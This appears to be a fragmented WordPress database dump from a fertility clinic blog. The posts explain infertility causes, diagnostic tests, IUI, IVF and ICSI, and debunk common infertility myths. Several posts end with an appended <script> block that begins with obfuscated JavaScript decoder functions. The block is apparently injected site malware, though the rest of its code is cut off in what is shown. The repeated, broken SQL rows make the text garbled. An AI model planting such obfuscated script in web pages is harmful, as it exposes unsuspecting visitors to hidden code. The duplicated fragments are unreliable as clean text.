style=\"text-align: left; font-size: 30px; width: 100%;\"><b>IUI- Intrauterine Insemination</b></h2>\r\n<center><img class=\"alignnone\" title=\"IUI- Intrauterine Insemination\" src=\"https://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\" alt=\"IUI- Intrauterine Insemination\" width=\"300\" height=\"191\" /></center>\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What is the right time to have a baby?</strong></h2>\r\nWomen 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.\r\n\r\n<strong>Reference</strong>\r\n<ul>\r\n 	<li><strong>Diagnostic evaluation of the infertile female;</strong> a committee opinion: practice committee, ASRM: Fertility and sterility, vol 103, no6, June 2015, 0015-0282</li>\r\n 	<li><strong>Diagnostic evaluation of the infertile male;</strong> a committee opinion: practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\r\n</ul>\r\n</div>\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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11:54:59','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF1-e1451462624110.png',0,'attachment','image/png',0),(150,1,'2018-02-06 12:07:01','2018-02-06 12:07:01','','IVF2-300x213','','inherit','open','closed','','ivf2-300x213','','','2018-02-06 12:07:01','2018-02-06 12:07:01','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png',0,'attachment','image/png',0),(151,1,'2018-02-06 12:09:54','2018-02-06 12:09:54','','1','','inherit','open','closed','','1','','','2018-02-06 12:09:54','2018-02-06 12:09:54','',0,'http://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png',0,'attachment','image/png',0),(152,1,'2018-02-06 12:12:35','2018-02-06 12:12:35','<center>http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF1-e1451462624110.png</center>\r\n<strong>What is infertility?</strong>\r\n<p><a href=\"https://www.nuhospitals.com/infertility-ivf/\">Infertility </a>is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.</p>\r\n\r\n<strong>How common is the problem?</strong>\r\n<p>Infertility is a medical condition that affects up to one in six couples of reproductive age</p>\r\n\r\n<strong>What influences the infertility?</strong>\r\n<p>The single biggest influence on a couple’s chances of getting pregnant is woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.</p>\r\n\r\n<strong>What are the causes of infertility?</strong>\r\n<p>Causes of infertility are varied and can include:</p>\r\n<ul>\r\n<li>Problem with the production of sperm or eggs.</li>\r\n	<li>Structural or functional issues with the female or male reproductive systems.</li>\r\n	<li>Hormone or immune conditions in men, women or both.</li>\r\n</ul>\r\n\r\n<strong>How do we assess female infertility?</strong>\r\n<p>The first step for couples seeking <a href\"https://www.nuhospitals.com/ivf/infertility-treatment/\">fertility </a>treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.</p>\r\n<p>To measure female fertility, the following tests are often performed:</p>\r\n<ul>\r\n	<li>Ovulation test – a quick blood test to asses if the woman is producing an egg each month or not.</li>\r\n	<li>Ultrasound scan – a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\r\n	<li>Ovarian Reserve (AMH Test) – a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery / history of cancer chemotherapy or pelvic radiation.</li>\r\n</ul>\r\n<p>Sometimes fertility specialists also perform additional tests, including a hysterosalphingogram (HSG), sonohysterogram or a diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries and uterus.</p>\r\n<strong>How do we assess male infertility?</strong>\r\n<p>The most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue  with his <a href=\"https://www.nuhospitals.com/fertility/\">fertility.</a></p>\r\n<p>Specialist Andrology assessment of sperm is essential to measure:</p>\r\n<ul>\r\n<li>The number of sperm, volume and consistency of the sample.</li>\r\n	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\r\n\r\n\r\n</ul>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\">\r\n\r\n<strong>What treatment options are available for infertility?</strong>\r\n<p>There are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.</p>\r\n<p>Intra-uterine Insemination (IUI) is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.</p>\r\n<p>A more advanced treatment option, In vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.</p>\r\n<p>In case of severe male infertility, Intra Cytoplasmic Sperm Injection (ICSI) is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.</p>\r\n<strong>Overview of an IVF Cycle</strong>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\">\r\n<p>IUI- Intrauterine Insemination</p>\r\n<img src=\"http://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\">\r\n\r\n<strong>What is the right time to have a baby?</strong>\r\n<p>Women 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.</p>\r\n\r\n<strong>Reference</strong>\r\n<ul>\r\n<li>Diagnostic evaluation of the infertile female; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no6, june 2015, 0015-0282</li>\r\n<li>Diagnostic evaluation of the infertile male; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\r\n</ul>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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infertility?</strong></h2>\n<div style=\"text-align: justify;\">\n\nInfertility is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><!--more--></h2>\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How common is the problem?</strong></h2>\nInfertility is a medical condition that affects up to one in six couples of reproductive age.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What influences infertility?</strong></h2>\nThe single biggest influence on a couple’s chances of getting pregnant is a woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What are the causes of infertility?</strong></h2>\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Causes of infertility are varied and can include:</strong></h3>\n<ul>\n 	<li>Problem with the production of sperm or eggs.</li>\n 	<li>Structural or functional issues with the female or male reproductive systems.</li>\n 	<li>Hormone or immune conditions in men, women or both.</li>\n</ul>\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How do we assess female infertility?</strong></h2>\nThe first step for couples seeking fertility treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>To measure female fertility, the following tests are often performed:</strong></h3>\n<ul>\n 	<li><strong>Ovulation tests</strong> a quick blood test to asses if the woman is producing an egg each month or not.</li>\n 	<li><strong>Ultrasound scan</strong> a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\n 	<li><strong>Ovarian Reserve (AMH Test) </strong>a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery/history of cancer chemotherapy or pelvic radiation.</li>\n</ul>\nSometimes fertility specialists also perform additional tests, including a hysterosalpingogram (HSG), sonohysterogram or diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries, and uterus.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How do we assess male infertility?</strong></h2>\nThe most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue with his<span style=\"color: #000000;\"> fertility.</span>\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Specialist Andrology assessment of sperm is essential to measure:</strong></h3>\n<ul>\n 	<li>The number of sperm, volume, and consistency of the sample.</li>\n 	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\n</ul>\n<center><img class=\"alignnone\" title=\"Andrology Assessment\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\" alt=\"Andrology Assessment\" width=\"300\" height=\"213\" /></center>\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What treatment options are available for infertility?</strong></h2>\nThere are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.\n\n<a href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><strong><span style=\"color: #3366ff;\">Intrauterine Insemination (IUI)</span></strong></a> is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.\n\nA more advanced treatment option, In-vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.\n\nIn case of severe male infertility, <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\">Intra Cytoplasmic Sperm Injection (ICSI)</a></span></strong> is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Overview of an IVF Cycle</strong></h2>\n<center><img class=\"alignnone\" title=\"IVF Cycle\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\" alt=\"IVF Cycle\" width=\"300\" height=\"158\" /></center>\n<h2 style=\"text-align: left; font-size: 3px; width: 100%;\"><b>IUI- Intrauterine Insemination</b></h2>\n<center><img class=\"alignnone\" title=\"IUI- Intrauterine Insemination\" src=\"https://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\" alt=\"IUI- Intrauterine Insemination\" width=\"300\" height=\"191\" /></center>\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is the right time to have a baby?</strong></h2>\nWomen 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.\n\n<strong>Reference</strong>\n<ul>\n 	<li><strong>Diagnostic evaluation of the infertile female;</strong> a committee opinion: practice committee, ASRM: Fertility and sterility, vol 103, no6, June 2015, 0015-0282</li>\n 	<li><strong>Diagnostic evaluation of the infertile male;</strong> a committee opinion: practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\n</ul>\n</div>\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF1-e1451462624110.png\"</center>\r\n<!--more-->\r\n\r\n\r\n<strong>What is infertility?</strong>\r\n<p><a href=\"https://www.nuhospitals.com/infertility-ivf/\">Infertility </a>is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.</p>\r\n\r\n<strong>How common is the problem?</strong>\r\n<p>Infertility is a medical condition that affects up to one in six couples of reproductive age</p>\r\n\r\n<strong>What influences the infertility?</strong>\r\n<p>The single biggest influence on a couple’s chances of getting pregnant is woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.</p>\r\n\r\n<strong>What are the causes of infertility?</strong>\r\n<p>Causes of infertility are varied and can include:</p>\r\n<ul>\r\n<li>Problem with the production of sperm or eggs.</li>\r\n	<li>Structural or functional issues with the female or male reproductive systems.</li>\r\n	<li>Hormone or immune conditions in men, women or both.</li>\r\n</ul>\r\n\r\n<strong>How do we assess female infertility?</strong>\r\n<p>The first step for couples seeking <a href\"https://www.nuhospitals.com/ivf/infertility-treatment/\">fertility </a>treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.</p>\r\n<p>To measure female fertility, the following tests are often performed:</p>\r\n<ul>\r\n	<li>Ovulation test – a quick blood test to asses if the woman is producing an egg each month or not.</li>\r\n	<li>Ultrasound scan – a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\r\n	<li>Ovarian Reserve (AMH Test) – a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery / history of cancer chemotherapy or pelvic radiation.</li>\r\n</ul>\r\n<p>Sometimes fertility specialists also perform additional tests, including a hysterosalphingogram (HSG), sonohysterogram or a diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries and uterus.</p>\r\n<strong>How do we assess male infertility?</strong>\r\n<p>The most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue  with his <a href=\"https://www.nuhospitals.com/fertility/\">fertility.</a></p>\r\n<p>Specialist Andrology assessment of sperm is essential to measure:</p>\r\n<ul>\r\n<li>The number of sperm, volume and consistency of the sample.</li>\r\n	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\r\n\r\n\r\n</ul>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\">\r\n\r\n<strong>What treatment options are available for infertility?</strong>\r\n<p>There are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.</p>\r\n<p>Intra-uterine Insemination (IUI) is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.</p>\r\n<p>A more advanced treatment option, In vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.</p>\r\n<p>In case of severe male infertility, Intra Cytoplasmic Sperm Injection (ICSI) is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.</p>\r\n<strong>Overview of an IVF Cycle</strong>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\">\r\n<b>IUI- Intrauterine Insemination</b>\r\n<img src=\"http://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\">\r\n\r\n<strong>What is the right time to have a baby?</strong>\r\n<p>Women 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.</p>\r\n\r\n<strong>Reference</strong>\r\n<ul>\r\n<li>Diagnostic evaluation of the infertile female; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no6, june 2015, 0015-0282</li>\r\n<li>Diagnostic evaluation of the infertile male; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\r\n</ul>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF1-e1451462624110.png\"></center>\r\n<!--more-->\r\n\r\n\r\n<strong>What is infertility?</strong>\r\n<p><a href=\"https://www.nuhospitals.com/infertility-ivf/\">Infertility </a>is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.</p>\r\n\r\n<strong>How common is the problem?</strong>\r\n<p>Infertility is a medical condition that affects up to one in six couples of reproductive age</p>\r\n\r\n<strong>What influences the infertility?</strong>\r\n<p>The single biggest influence on a couple’s chances of getting pregnant is woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.</p>\r\n\r\n<strong>What are the causes of infertility?</strong>\r\n<p>Causes of infertility are varied and can include:</p>\r\n<ul>\r\n<li>Problem with the production of sperm or eggs.</li>\r\n	<li>Structural or functional issues with the female or male reproductive systems.</li>\r\n	<li>Hormone or immune conditions in men, women or both.</li>\r\n</ul>\r\n\r\n<strong>How do we assess female infertility?</strong>\r\n<p>The first step for couples seeking <a href\"https://www.nuhospitals.com/ivf/infertility-treatment/\">fertility </a>treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.</p>\r\n<p>To measure female fertility, the following tests are often performed:</p>\r\n<ul>\r\n	<li>Ovulation test – a quick blood test to asses if the woman is producing an egg each month or not.</li>\r\n	<li>Ultrasound scan – a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\r\n	<li>Ovarian Reserve (AMH Test) – a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery / history of cancer chemotherapy or pelvic radiation.</li>\r\n</ul>\r\n<p>Sometimes fertility specialists also perform additional tests, including a hysterosalphingogram (HSG), sonohysterogram or a diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries and uterus.</p>\r\n<strong>How do we assess male infertility?</strong>\r\n<p>The most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue  with his <a href=\"https://www.nuhospitals.com/fertility/\">fertility.</a></p>\r\n<p>Specialist Andrology assessment of sperm is essential to measure:</p>\r\n<ul>\r\n<li>The number of sperm, volume and consistency of the sample.</li>\r\n	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\r\n\r\n\r\n</ul>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\">\r\n\r\n<strong>What treatment options are available for infertility?</strong>\r\n<p>There are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.</p>\r\n<p>Intra-uterine Insemination (IUI) is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.</p>\r\n<p>A more advanced treatment option, In vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.</p>\r\n<p>In case of severe male infertility, Intra Cytoplasmic Sperm Injection (ICSI) is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.</p>\r\n<strong>Overview of an IVF Cycle</strong>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\">\r\n<b>IUI- Intrauterine Insemination</b>\r\n<img src=\"http://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\">\r\n\r\n<strong>What is the right time to have a baby?</strong>\r\n<p>Women 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.</p>\r\n\r\n<strong>Reference</strong>\r\n<ul>\r\n<li>Diagnostic evaluation of the infertile female; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no6, june 2015, 0015-0282</li>\r\n<li>Diagnostic evaluation of the infertile male; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\r\n</ul>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF1-e1451462624110.png\"></center>\r\n<!--more-->\r\n\r\n\r\n<strong>What is infertility?</strong>\r\n<p><a href=\"https://www.nuhospitals.com/infertility-ivf/\">Infertility </a>is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.</p>\r\n\r\n<strong>How common is the problem?</strong>\r\n<p>Infertility is a medical condition that affects up to one in six couples of reproductive age</p>\r\n\r\n<strong>What influences the infertility?</strong>\r\n<p>The single biggest influence on a couple’s chances of getting pregnant is woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.</p>\r\n\r\n<strong>What are the causes of infertility?</strong>\r\n<p>Causes of infertility are varied and can include:</p>\r\n<ul>\r\n<li>Problem with the production of sperm or eggs.</li>\r\n	<li>Structural or functional issues with the female or male reproductive systems.</li>\r\n	<li>Hormone or immune conditions in men, women or both.</li>\r\n</ul>\r\n\r\n<strong>How do we assess female infertility?</strong>\r\n<p>The first step for couples seeking <a href\"https://www.nuhospitals.com/ivf/infertility-treatment/\">fertility </a>treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.</p>\r\n<p>To measure female fertility, the following tests are often performed:</p>\r\n<ul>\r\n	<li>Ovulation test – a quick blood test to asses if the woman is producing an egg each month or not.</li>\r\n	<li>Ultrasound scan – a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\r\n	<li>Ovarian Reserve (AMH Test) – a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery / history of cancer chemotherapy or pelvic radiation.</li>\r\n</ul>\r\n<p>Sometimes fertility specialists also perform additional tests, including a hysterosalphingogram (HSG), sonohysterogram or a diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries and uterus.</p>\r\n<strong>How do we assess male infertility?</strong>\r\n<p>The most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue  with his <a href=\"https://www.nuhospitals.com/fertility/\">fertility.</a></p>\r\n<p>Specialist Andrology assessment of sperm is essential to measure:</p>\r\n<ul>\r\n<li>The number of sperm, volume and consistency of the sample.</li>\r\n	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\r\n\r\n\r\n</ul>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\"></center>\r\n\r\n<strong>What treatment options are available for infertility?</strong>\r\n<p>There are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.</p>\r\n<p>Intra-uterine Insemination (IUI) is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.</p>\r\n<p>A more advanced treatment option, In vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.</p>\r\n<p>In case of severe male infertility, Intra Cytoplasmic Sperm Injection (ICSI) is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.</p>\r\n<strong>Overview of an IVF Cycle</strong>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\"></center>\r\n<b>IUI- Intrauterine Insemination</b>\r\n<center><img src=\"http://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\"></center>\r\n\r\n<strong>What is the right time to have a baby?</strong>\r\n<p>Women 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.</p>\r\n\r\n<strong>Reference</strong>\r\n<ul>\r\n<li>Diagnostic evaluation of the infertile female; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no6, june 2015, 0015-0282</li>\r\n<li>Diagnostic evaluation of the infertile male; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\r\n</ul>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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rare.</strong></strong></h2>\r\n<span style=\"text-align: justify;\">Infertility can affect women of any age and from any background. In fact, approximately one out of every seven couples trying to conceive today experience difficulties with infertility. The Centers for Disease Control and Prevention (CDC) reports that 12 percent of women in the U.S. ages 15 to 44 have difficulty getting pregnant or carrying a pregnancy to term. That’s nearly one in five women in the U.S. So it’s likely that you know someone struggling with</span> infertility<span style=\"text-align: justify;\">, whether they choose to share it or not.</span>\r\n\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong><strong>Myth 02: Stress causes infertility.</strong></strong></h2>\r\nWomen struggling with infertility are often told, “Just relax and it will happen!” But it’s not as simple as that. Stress doesn’t cause infertility, but it can delay ovulation through hormone suppression. On the contrary, infertility might contribute to stress, anxiety, and depression in couples trying to conceive.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong><strong>Myth 03: Only women with \"regular\" cycles have normal fertility.</strong></strong></h2>\r\nResearchers at the University of Utah Office of Cooperative Reproductive Health found that the 28-day length represents only about 13 percent of cycles. The distribution of cycle length looks like a bell curve, centered around the 28-day mark, which means that there is a lot of variability in average cycle length.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Myth 04: People who have children can\'t be infertile.</strong></h2>\r\nInfertility is defined by the American College of Obstetricians and Gynecologists as not having become pregnant after twelve months of regular, unprotected sex. Some couples who struggle with subfertility—like women with PCOS or thyroid disorder—are able to conceive naturally with the right combination of lifestyle factors and/or medication. On the other hand, the CDC reports that 11% of couples who have had a child experience secondary infertility, meaning they are unable to conceive again.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Myth 05: Infertility is mostly a female problem.</strong></h2>\r\nOne in ten men have experienced infertility, yet nearly half of them have not sought medical help. Researchers at the University of California, Berkeley found that men had a higher rate of chromosomal abnormalities in their sperm when their diet was low in folic acid and vitamin E. And regardless of whether or not infertility is due to a male or female factor, infertility can often cause deep emotional suffering among men.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Myth 06: When a couple adopts, they are more likely to get pregnant.</strong></h2>\r\nThe National Infertility Association reports, “This is one of the most painful myths for couples to hear. First, it suggests that adoption is only a means to an end, not [a] happy and successful end in itself. Second, it is 